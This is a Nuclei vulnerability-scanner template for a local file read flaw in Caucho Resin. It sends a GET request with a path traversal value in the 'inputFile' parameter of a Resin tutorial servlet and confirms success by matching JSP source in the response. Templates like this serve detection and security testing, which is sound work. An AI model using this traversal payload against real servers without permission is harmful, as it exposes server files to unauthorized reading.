nuclei-templates/vulnerabilities/other/resin-inputfile-fileread.yaml

21 lines
514 B
YAML

id: resin-inputfile-fileread
info:
name: Caucho Resin LFR
author: princechaddha
severity: high
tags: resin,caucho,lfr
requests:
- method: GET
path:
- "{{BaseURL}}/resin-doc/resource/tutorial/jndi-appconfig/test?inputFile=../../../../../index.jsp"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "%@ page session=\"false\" import=\"com.caucho.vfs.*, com.caucho.server.webapp.*\" %"
part: body